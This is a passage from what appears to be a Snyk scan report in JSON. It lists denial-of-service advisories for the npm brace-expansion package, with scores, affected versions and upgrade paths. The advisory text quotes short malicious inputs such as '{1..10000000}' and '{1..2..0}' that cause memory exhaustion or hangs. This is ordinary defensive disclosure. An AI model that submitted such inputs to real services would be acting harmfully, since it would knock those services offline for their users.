"SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { 